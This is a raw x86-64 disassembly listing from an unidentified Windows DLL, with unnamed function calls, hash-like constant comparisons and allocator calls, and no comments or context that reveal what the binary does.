movd r13d, xmm0
test r13d, r13d
jne 0x180055ed7
lea r15, [rsp + 0x40]
movzx eax, bx
cmp eax, 0x8580
jle 0x180051fac
cmp eax, 0x8581
lea rdi, [rsp + 0x180]
je 0x180051fc2
cmp eax, 0xa5c1
je 0x180051fc2
cmp eax, 0xb581
je 0x180051fc2
jmp 0x180051fd5
cmp eax, 0x65c1
lea rdi, [rsp + 0x180]
je 0x180051fc2
cmp eax, 0x856b
jne 0x180051fd5
inc r14d
cmp r14d, 1
mov r14d, 1
jg 0x180055ae6
dec esi
jne 0x180051dcd
jmp 0x180055b80
movq rax, xmm0
shr rax, 0x28
movdqa xmm0, xmmword [rsp + 0xa0]
mov r15, qword [rsp + 0x98]
mov r12, qword [rsp + 0xc8]
movzx esi, sil
shl rax, 0x28
shl rsi, 0x20
or rsi, rax
movq r13, xmm0
pshufd xmm0, xmm0, 0xee
movd ebp, xmm0
mov ebx, esi
or ebx, edi
jne 0x18004b535
mov r14, r13
mov rax, qword [rsp + 0x128]
dec qword [rax]
cmp r14, 3
mov r13, qword [rsp + 0xc0]
jne 0x180049e7a
mov qword [rsp + 0x180], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
lea r8, [0x18006b6c0]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x180]
mov r9d, 4
call fcn.180024f20
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov rcx, qword [r12 + 0x28]
mov qword [rsp + 0x20], rax
mov edx, 0x9fff997c
mov r8d, 0xe543
mov r9, rsi
call fcn.180045530
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
je 0x180049e7a
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, rsi
mov r8, rax
call qword [r10 + 0x20]
jmp 0x180049e7a
movzx ebp, byte [rsp + 0x184]
jmp 0x180052665
cmp qword [rsp + 0xa8], 0
je 0x180048ff5
mov rsi, qword [rsp + 0xb0]
lea r8, [rsi + 4]
mov qword [rsp + 0x20], 9
lea r9, [0x1800701b9]
lea rcx, [rsp + 0x180]
mov rdx, qword [rsp + 0xc0]
call fcn.180063a40
mov eax, dword [rsp + 0x180]
test eax, eax
je 0x1800558a4
mov edi, dword [rsp + 0x184]
mov rbx, qword [rsp + 0x188]
mov ebp, dword [rsp + 0x190]
movd xmm0, edi
movd xmm6, eax
punpckldq xmm6, xmm0
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x180055a3b
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x180055a46
xor rdi, qword [rsp + 0x188]
movabs rax, 0x7461656843
cmp rdi, rax
mov r15, qword [rsp + 0x98]
jne 0x18004e370
mov qword [rsp + 0x180], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
lea r8, [0x180072178]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x180]
mov r9d, 4
call fcn.180024f20
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov rcx, qword [r12 + 0x28]
mov qword [rsp + 0x20], rax
mov edx, 0x45dea372
mov r8d, 0xffff1c87
mov r9, rsi
call fcn.180045530
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
je 0x18004e370
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, rsi
mov r8, rax
call qword [r10 + 0x20]
jmp 0x18004e370
mov rbx, qword [rsp + 0x188]
mov ebp, dword [rsp + 0x190]
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x1800557a2
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x1800557ad
mov qword [rsp + 0x40], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x48], xmm0
lea r8, [0x180070c63]
lea rcx, [rsp + 0xa0]
lea rdx, [rsp + 0x40]
mov r9d, 4
call fcn.180024f20
mov rsi, qword [rsp + 0xa0]
mov rax, qword [rsp + 0xa8]
mov rcx, qword [r12 + 0x28]
mov qword [rsp + 0x20], rax
mov edx, 0x7c82936c
mov r8d, 0xffff1c73
mov r9, rsi
call fcn.180045530
mov r8, qword [rsp + 0xb0]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
je 0x180052369
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, rsi
mov r8, rax
call qword [r10 + 0x20]
mov rcx, r15
mov rdx, rbx
call fcn.18003bfe0
dec qword [r15]
jne 0x1800523ba
inc qword [r15 + 8]
mov rcx, qword [rsp + 0x128]
call fcn.180037510
mov rax, qword [r15 + 8]
dec rax
mov qword [r15 + 8], rax
or rax, qword [r15]
jne 0x1800523ba
mov rax, qword [section..data]
lea rcx, [0x180077a08]
mov r8d, 0x58
mov r9d, 8
mov rdx, r15
call qword [rax + 0x20]
mov r15, qword [rsp + 0x98]
jmp 0x18004a80a
mov edi, 0x951604ae
mov esi, 0x76d4030
mov r14d, 0xc76970a8
xor ebx, ebx
mov qword [rsp + 0x40], rbx
mov dword [rsp + 0x48], edi
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x18005241f
lea rcx, [rsp + 0x40]
call fcn.1800366d0
xor eax, eax
jmp 0x18005242d
mov rax, qword [rsp + 0x188]
mov qword [rax], rbx
mov dword [rax + 8], edi
mov dword [rsp + 0x40], esi
mov qword [rsp + 0x44], rax
mov dword [rsp + 0x4c], 0xf03f59b7
mov rcx, r15
mov rdx, r12
call fcn.18003bfe0
dec qword [r15]
je 0x180052463
mov r15, qword [rsp + 0x98]
mov r12, qword [rsp + 0xc8]
jmp 0x18004adeb
inc qword [r15 + 8]
mov rcx, qword [rsp + 0xe8]
call fcn.180037510
mov rax, qword [r15 + 8]
dec rax
mov qword [r15 + 8], rax
or rax, qword [r15]
mov r12, qword [rsp + 0xc8]
je 0x1800529b7
mov r15, qword [rsp + 0x98]
jmp 0x18004adeb
lea r8, [0x1800734b0]
call fcn.18000b9f0
ud2
lea r8, [0x1800734e8]
call fcn.18000b9f0
ud2
lea r8, [0x1800719c8]
jmp 0x180047ca2
mov edi, 0x951604ae
mov ebx, 0x76d4030
mov r13d, 0xc76970a8
mov qword [rsp + 0x40], r14
mov dword [rsp + 0x48], edi
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
mov r15, qword [rsp + 0x98]
je 0x180052523
lea rcx, [rsp + 0x40]
call fcn.1800366d0
xor esi, esi
jmp 0x180052531
mov rsi, qword [rsp + 0x188]
mov qword [rsi], r14
mov dword [rsi + 8], edi
mov qword [rsp + 0xa0], rsi
mov dword [rsp + 0xa8], 0x5d7bdb1d
movzx ecx, bh
mov eax, ebx
shr eax, 0x10
mov rdx, qword [rsp + 0xa0]
mov qword [rsp + 0x110], rdx
mov edx, dword [rsp + 0xa8]
mov dword [rsp + 0x118], edx
mov edx, dword [rsp + 0xac]
mov dword [rsp + 0x11c], edx
shl ecx, 8
movzx edx, bl
or edx, ecx
shl eax, 0x10
movzx ecx, dx
or ecx, eax
mov edi, dword [rsp + 0x118]
movd xmm0, ecx
movd xmm6, r13d
punpckldq xmm6, xmm0
mov qword [rsp + 0x40], rsi
mov dword [rsp + 0x48], edi
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x1800525e2
lea rcx, [rsp + 0x40]
call fcn.1800366d0
xor eax, eax
jmp 0x1800525f0
mov rax, qword [rsp + 0x188]
mov qword [rax], rsi
mov dword [rax + 8], edi
movq qword [rsp + 0x120], xmm6
movzx ecx, word [rsp + 0x125]
mov word [rsp + 0x41], cx
movzx ecx, byte [rsp + 0x127]
mov byte [rsp + 0x43], cl
mov qword [rsp + 0x44], rax
mov dword [rsp + 0x4c], 0x5d7bdaa1
mov byte [rsp + 0x40], bl
jmp 0x180049698
mov rax, qword [rsp + 0x48]
mov qword [rax], rdi
mov dword [rax + 8], ebx
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0x5d7bdb5d
movd r15d, xmm6
test r15d, r15d
je 0x180052665
movq rcx, xmm6
mov rax, rcx
shr rax, 0x30
shr rcx, 0x28
movdqa xmm6, xmmword [rsp + 0x70]
jmp 0x180049395
mov byte [rsp + 0x121], bpl
lea rax, [rsi + 5]
add rsi, 0x25
xor ecx, ecx
mov rdx, rsi
sub rdx, 1
cmovae rcx, rdx
test rsi, rsi
mov edx, 1
cmovne rdx, rax
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x48], rcx
cmp rdx, rcx
cmovbe r14, r13
mov byte [rsp + 0x50], 0
mov byte [rsp + 0x190], 2
movdqu xmm0, xmmword [r14]
movdqa xmmword [rsp + 0xd0], xmm0
mov eax, dword [r14 + 0x11]
mov ecx, dword [r14 + 0x14]
mov dword [rsp + 0x108], eax
mov dword [rsp + 0x10b], ecx
ja 0x180046c91
movdqa xmm0, xmmword [rsp + 0xd0]
movdqa xmmword [rsp + 0xa0], xmm0
mov byte [rsp + 0xb0], 0
mov eax, dword [rsp + 0x108]
mov ecx, dword [rsp + 0x10b]
mov dword [rsp + 0xb1], eax
mov dword [rsp + 0xb4], ecx
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x70]
lea rdx, [rsp + 0xa0]
lea r8, [rsp + 0x120]
mov r9d, 2
call fcn.180035970
mov r15d, dword [rsp + 0x70]
test r15d, r15d
je 0x180052838
mov rsi, qword [rsp + 0x78]
mov edi, dword [rsp + 0x80]
movd xmm6, r15d
movd xmm7, dword [rsp + 0x74]
mov qword [rsp + 0x40], rsi
mov dword [rsp + 0x48], edi
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x1800529e4
lea rcx, [rsp + 0x40]
call fcn.1800366d0
xor eax, eax
jmp 0x1800529f2
mov rax, qword [rsp + 0x188]
mov qword [rax], rsi
mov dword [rax + 8], edi
mov qword [rsp + 0xd0], rax
mov dword [rsp + 0xd8], 0x5d7bdb6d
jmp 0x180048fba
xor r8d, r8d
mov eax, 0xff
mov rcx, r14
mov rdx, r14
jmp 0x1800527ed
mov rdx, rcx
sub rcx, r8
jbe 0x180056372
shr rcx, 1
add rcx, r8
mov r9, rcx
shl r9, 5
xor r10d, r10d
cmp dword [r12 + r9 + 0x18], 0x2dd2b3ce
setne r10b
cmovb r10d, eax
cmp r10b, 1
je 0x1800527e1
movzx r8d, r10b
cmp r8d, 0xff
jne 0x1800558e5
inc rcx
mov r8, rcx
mov rcx, rdx
sub rcx, r8
ja 0x1800527ed
jmp 0x180056372
cmp qword [rsp + 0x78], 0
je 0x18004948c
mov rdi, qword [rsp + 0x80]
lea r9, [rdi - 4]
mov rax, qword [rsp + 0xc0]
mov rdx, qword [rax]
mov r8, qword [rax + 8]
lea rsi, [rsp + 0x180]
mov rcx, rsi
call fcn.180039310
mov eax, dword [rsp + 0x180]
test eax, eax
je 0x180055aa3
mov ebp, dword [rsp + 0x184]
mov rbx, qword [rsp + 0x188]
mov r14d, dword [rsp + 0x190]
movd xmm0, ebp
movd xmm6, eax
punpckldq xmm6, xmm0
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], r14d
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x180055cc2
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x180055cce
mov rax, qword [rsp + 0x48]
mov qword [rax], rdi
mov dword [rax + 8], ebx
jmp 0x180051da0
xor eax, eax
sub esi, r15d
cmovb esi, eax
cmp esi, 6
mov r12, qword [rsp + 0xc8]
jbe 0x18004d6c0
mov qword [rsp + 0x180], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
lea r8, [0x18006b630]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x180]
mov r9d, 4
call fcn.180024f20
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov rcx, qword [r12 + 0x28]
mov qword [rsp + 0x20], rax
mov edx, 0xd7df84ac
mov r8d, 0xffff1c82
mov r9, rsi
call fcn.180045530
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
je 0x18004d6b0
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, rsi
mov r8, rax
call qword [r10 + 0x20]
jmp 0x18004d6b0
mov rax, qword [section..data]
lea rcx, [0x180077a08]
mov r8d, 0x58
mov r9d, 8
mov rdx, r15
call qword [rax + 0x20]
mov r15, qword [rsp + 0x98]
jmp 0x18004adeb
mov rax, qword [rsp + 0x188]
mov qword [rax], rsi
mov dword [rax + 8], edi
punpckldq xmm6, xmm7
mov qword [rsp + 0xf0], rax
mov dword [rsp + 0xf8], 0x5d7bdb22
pshufd xmm0, xmm6, 0x55
movd ebp, xmm0
movdqa xmm6, xmmword [rsp + 0xf0]
jmp 0x18004938b
lea r8, [0x1800741e8]
xor edx, edx
call fcn.18000b9f0
ud2
cmp qword [rsp + 0x48], 0
je 0x180052adf
mov qword [rsp + 0x180], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
lea r8, [0x180072b60]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x180]
mov r9d, 4
call fcn.180024f20
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov rcx, qword [r12 + 0x28]
mov qword [rsp + 0x20], rax
mov edx, 0x1cb9a07
mov r8d, 0xffff1c96
mov r9, rsi
call fcn.180045530
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
je 0x180052acf
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, rsi
mov r8, rax
call qword [r10 + 0x20]
mov r13, qword [rsp + 0xc0]
mov r12, qword [rsp + 0xc8]
dec qword [r14]
add r12, 0x28
mov r15, qword [rsp + 0x98]
lea rsi, [rsp + 0x180]
lea rdx, [rsp + 0x138]
mov rcx, rsi
mov r8, r15
mov r9, r13
call fcn.180036b60
mov ebp, dword [rsp + 0x180]
test ebp, ebp
je 0x180052b87
mov rsi, qword [rsp + 0x188]
mov edi, dword [rsp + 0x190]
movd xmm6, ebp
movd xmm0, dword [rsp + 0x184]
punpckldq xmm6, xmm0
mov qword [rsp + 0xa0], rsi
mov dword [rsp + 0xa8], edi
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x180052c78
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x180052c83
mov rax, qword [rsp + 0x188]
mov r8, qword [rsp + 0x190]
mov qword [rsp + 0x78], rax
test eax, eax
jne 0x180052d0c
cmp dword [rsp + 0x7c], 0x7e3
jne 0x180052d0c
mov qword [rsp + 0xd0], r13
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], 4
lea r9, [0x180072ba8]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xd0]
call fcn.180062990
mov ebp, dword [rsp + 0x40]
test ebp, ebp
je 0x180053ed5
mov esi, dword [rsp + 0x44]
mov rdi, qword [rsp + 0x48]
mov ebx, dword [rsp + 0x50]
mov qword [rsp + 0xa0], rdi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x180054537
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x180054545
mov rax, qword [rsp + 0x48]
mov qword [rax], rsi
mov dword [rax + 8], edi
movq qword [rsp + 0x70], xmm6
mov qword [rsp + 0x78], rax
shr rax, 0x20
mov rcx, qword [rsp + 0x74]
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x48], eax
mov eax, 0xcd01caf8
add rax, 0x233d93cb
mov qword [rsp + 0x4c], rax
mov dword [rsp + 0x180], ebp
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x184], eax
mov eax, dword [rsp + 0x44]
mov dword [rsp + 0x188], eax
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x18c], eax
mov eax, dword [rsp + 0x4c]
mov dword [rsp + 0x190], eax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x194], eax
mov rcx, qword [r12]
lea rdx, [0x1800745f8]
lea r9, [rsp + 0x180]
mov r8d, 8
call fcn.180059fb0
lea rsi, [rsp + 0x180]
lea rdx, [rsp + 0x138]
mov rcx, rsi
mov r8, r15
mov r9, r13
call fcn.180036b60
mov edi, dword [rsp + 0x180]
test edi, edi
je 0x180052da5
mov rsi, qword [rsp + 0x188]
mov ebx, dword [rsp + 0x190]
movd xmm6, edi
movd xmm0, dword [rsp + 0x184]
punpckldq xmm6, xmm0
mov qword [rsp + 0xa0], rsi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x180052e96
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x180052ea1
mov rax, qword [rsp + 0x188]
mov r8, qword [rsp + 0x190]
mov qword [rsp + 0x78], rax
test eax, eax
jne 0x180052f2a
cmp dword [rsp + 0x7c], 0x13418bf
jne 0x180052f2a
mov qword [rsp + 0xd0], r13
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], 8
lea r9, [0x180072ca0]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xd0]
call fcn.180062990
mov edi, dword [rsp + 0x40]
test edi, edi
je 0x180053f53
mov esi, dword [rsp + 0x44]
mov rbx, qword [rsp + 0x48]
mov ebp, dword [rsp + 0x50]
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x180054575
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x180054583
mov rax, qword [rsp + 0x48]
mov qword [rax], rsi
mov dword [rax + 8], ebx
movq qword [rsp + 0x70], xmm6
mov qword [rsp + 0x78], rax
shr rax, 0x20
mov rcx, qword [rsp + 0x74]
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x48], eax
mov eax, 0xcd01caf8
add rax, 0x233d93f8
mov qword [rsp + 0x4c], rax
mov dword [rsp + 0x180], edi
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x184], eax
mov eax, dword [rsp + 0x44]
mov dword [rsp + 0x188], eax
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x18c], eax
mov eax, dword [rsp + 0x4c]
mov dword [rsp + 0x190], eax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x194], eax
mov rcx, qword [r12]
lea rdx, [0x180074600]
lea r9, [rsp + 0x180]
mov r8d, 8
call fcn.180059fb0
lea rsi, [rsp + 0x180]
lea rdx, [rsp + 0x138]
mov rcx, rsi
mov r8, r15
mov r9, r13
call fcn.180036b60
mov edi, dword [rsp + 0x180]
test edi, edi
je 0x180052fc3
mov rsi, qword [rsp + 0x188]
mov ebx, dword [rsp + 0x190]
movd xmm6, edi
movd xmm0, dword [rsp + 0x184]
punpckldq xmm6, xmm0
mov qword [rsp + 0xa0], rsi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x1800530b5
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x1800530c0
mov rax, qword [rsp + 0x188]
mov r8, qword [rsp + 0x190]
mov qword [rsp + 0x78], rax
cmp eax, 4
jne 0x180053149
cmp dword [rsp + 0x7c], 0x4bd
jne 0x180053149
mov qword [rsp + 0xd0], r13
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], 0xc
lea r9, [0x180072e10]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xd0]
call fcn.180062990
mov edi, dword [rsp + 0x40]
test edi, edi
je 0x180054002
mov esi, dword [rsp + 0x44]
mov rbx, qword [rsp + 0x48]
mov ebp, dword [rsp + 0x50]
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x1800545b3
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x1800545c1
mov rax, qword [rsp + 0x48]
mov qword [rax], rsi
mov dword [rax + 8], ebx
movq qword [rsp + 0x70], xmm6
mov qword [rsp + 0x78], rax
shr rax, 0x20
mov rcx, qword [rsp + 0x74]
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x48], eax
mov eax, 0xcd01caf8
add rax, 0x233d943f
mov qword [rsp + 0x4c], rax
mov dword [rsp + 0x180], edi
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x184], eax
mov eax, dword [rsp + 0x44]
mov dword [rsp + 0x188], eax
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x18c], eax
mov eax, dword [rsp + 0x4c]
mov dword [rsp + 0x190], eax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x194], eax
mov rcx, qword [r12]
lea rdx, [0x180074608]
lea r9, [rsp + 0x180]
mov r8d, 8
call fcn.180059fb0
lea rsi, [rsp + 0x180]
lea rdx, [rsp + 0x138]
mov rcx, rsi
mov r8, r15
mov r9, r13
call fcn.180036b60
mov ebp, dword [rsp + 0x180]
test ebp, ebp
je 0x1800531e2
mov rsi, qword [rsp + 0x188]
mov edi, dword [rsp + 0x190]
movd xmm6, ebp
movd xmm0, dword [rsp + 0x184]
punpckldq xmm6, xmm0
mov qword [rsp + 0xa0], rsi
mov dword [rsp + 0xa8], edi
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x1800532d4
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x1800532df
mov rax, qword [rsp + 0x188]
mov r8, qword [rsp + 0x190]
mov qword [rsp + 0x78], rax
cmp eax, 4
jne 0x180053368
cmp dword [rsp + 0x7c], 0x4bd
jne 0x180053368
mov qword [rsp + 0xd0], r13
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], 6
lea r9, [0x180072fc8]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xd0]
call fcn.180062990
mov ebp, dword [rsp + 0x40]
test ebp, ebp
je 0x1800540b1
mov esi, dword [rsp + 0x44]
mov rdi, qword [rsp + 0x48]
mov ebx, dword [rsp + 0x50]
mov qword [rsp + 0xa0], rdi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x1800545f1
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x1800545ff
mov rax, qword [rsp + 0x48]
mov qword [rax], rsi
mov dword [rax + 8], edi
movq qword [rsp + 0x70], xmm6
mov qword [rsp + 0x78], rax
shr rax, 0x20
mov rcx, qword [rsp + 0x74]
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x48], eax
mov eax, 0xcd01caf8
add rax, 0x233d9479
mov qword [rsp + 0x4c], rax
mov dword [rsp + 0x180], ebp
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x184], eax
mov eax, dword [rsp + 0x44]
mov dword [rsp + 0x188], eax
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x18c], eax
mov eax, dword [rsp + 0x4c]
mov dword [rsp + 0x190], eax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x194], eax
mov rcx, qword [r12]
lea rdx, [0x180074610]
lea r9, [rsp + 0x180]
mov r8d, 8
call fcn.180059fb0
lea rsi, [rsp + 0x180]
lea rdx, [rsp + 0x138]
mov rcx, rsi
mov r8, r15
mov r9, r13
call fcn.180036b60
mov edi, dword [rsp + 0x180]
test edi, edi
je 0x180053401
mov rsi, qword [rsp + 0x188]
mov ebx, dword [rsp + 0x190]
movd xmm6, edi
movd xmm0, dword [rsp + 0x184]
punpckldq xmm6, xmm0
mov qword [rsp + 0xa0], rsi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x1800534dd
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x1800534e8
cmp dword [rsp + 0x188], 4
jne 0x180053571
mov r8, qword [rsp + 0x190]
mov qword [rsp + 0xd0], r13
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], 6
lea r9, [0x1800733e8]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xd0]
call fcn.180062990
mov edi, dword [rsp + 0x40]
test edi, edi
je 0x180054186
mov esi, dword [rsp + 0x44]
mov rbx, qword [rsp + 0x48]
mov ebp, dword [rsp + 0x50]
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x180054622
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x180054630
mov rax, qword [rsp + 0x48]
mov qword [rax], rsi
mov dword [rax + 8], ebx
movq qword [rsp + 0x70], xmm6
mov qword [rsp + 0x78], rax
shr rax, 0x20
mov rcx, qword [rsp + 0x74]
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x48], eax
mov eax, 0xcd01caf8
add rax, 0x233d94d6
mov qword [rsp + 0x4c], rax
mov dword [rsp + 0x180], edi
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x184], eax
mov eax, dword [rsp + 0x44]
mov dword [rsp + 0x188], eax
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x18c], eax
mov eax, dword [rsp + 0x4c]
mov dword [rsp + 0x190], eax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x194], eax
mov rcx, qword [r12]
lea rdx, [0x180074618]
lea r9, [rsp + 0x180]
mov r8d, 8
call fcn.180059fb0
lea rsi, [rsp + 0x180]
lea rdx, [rsp + 0x138]
mov rcx, rsi
mov r8, r15
mov r9, r13
call fcn.180036b60
mov ebp, dword [rsp + 0x180]
test ebp, ebp
je 0x18005360a
mov rsi, qword [rsp + 0x188]
mov edi, dword [rsp + 0x190]
movd xmm6, ebp
movd xmm0, dword [rsp + 0x184]
punpckldq xmm6, xmm0
mov qword [rsp + 0xa0], rsi
mov dword [rsp + 0xa8], edi
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
